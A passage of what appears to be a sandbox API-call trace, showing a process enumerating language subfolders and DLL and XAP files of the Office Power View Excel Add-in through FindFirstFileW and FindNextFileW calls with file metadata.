ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.113] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.113] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.113] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43e3cb7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.113] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.113] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.114] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1434d390, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14589889, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4df89, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.id.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.114] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1434d390, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14589889, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4df89, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.id.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.114] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.115] GetProcessHeap () returned 0xaf0000 [0280.115] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.115] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0280.115] GetProcessHeap () returned 0xaf0000 [0280.115] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0280.117] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.117] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6840bbc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6840bbc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152f2ade, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.117] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.117] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.117] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf964b3dd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.118] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14969496, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14a01eaa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f0e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.it.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.118] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14969496, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14a01eaa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f0e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.it.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.118] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0280.119] GetProcessHeap () returned 0xaf0000 [0280.119] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.119] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0280.119] GetProcessHeap () returned 0xaf0000 [0280.119] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.123] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.123] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1498f816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc1c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.123] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4bc999b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.123] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.123] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf311d3eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf311d3eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf311d3eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.124] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x146e0bdc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50074, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ja.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.124] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x146e0bdc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50074, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ja.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.124] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.125] GetProcessHeap () returned 0xaf0000 [0280.125] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.125] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0280.126] GetProcessHeap () returned 0xaf0000 [0280.126] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.127] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.127] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14bf1c4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.127] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae6f174, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.127] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.128] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8dd674, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8dd674, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.128] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14b330aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x515e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.kk.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.128] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14b330aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x515e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.kk.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.128] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.129] GetProcessHeap () returned 0xaf0000 [0280.129] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.129] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0280.129] GetProcessHeap () returned 0xaf0000 [0280.129] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.131] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.131] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.131] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.131] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b15891, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.131] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5e43de4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.369] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: 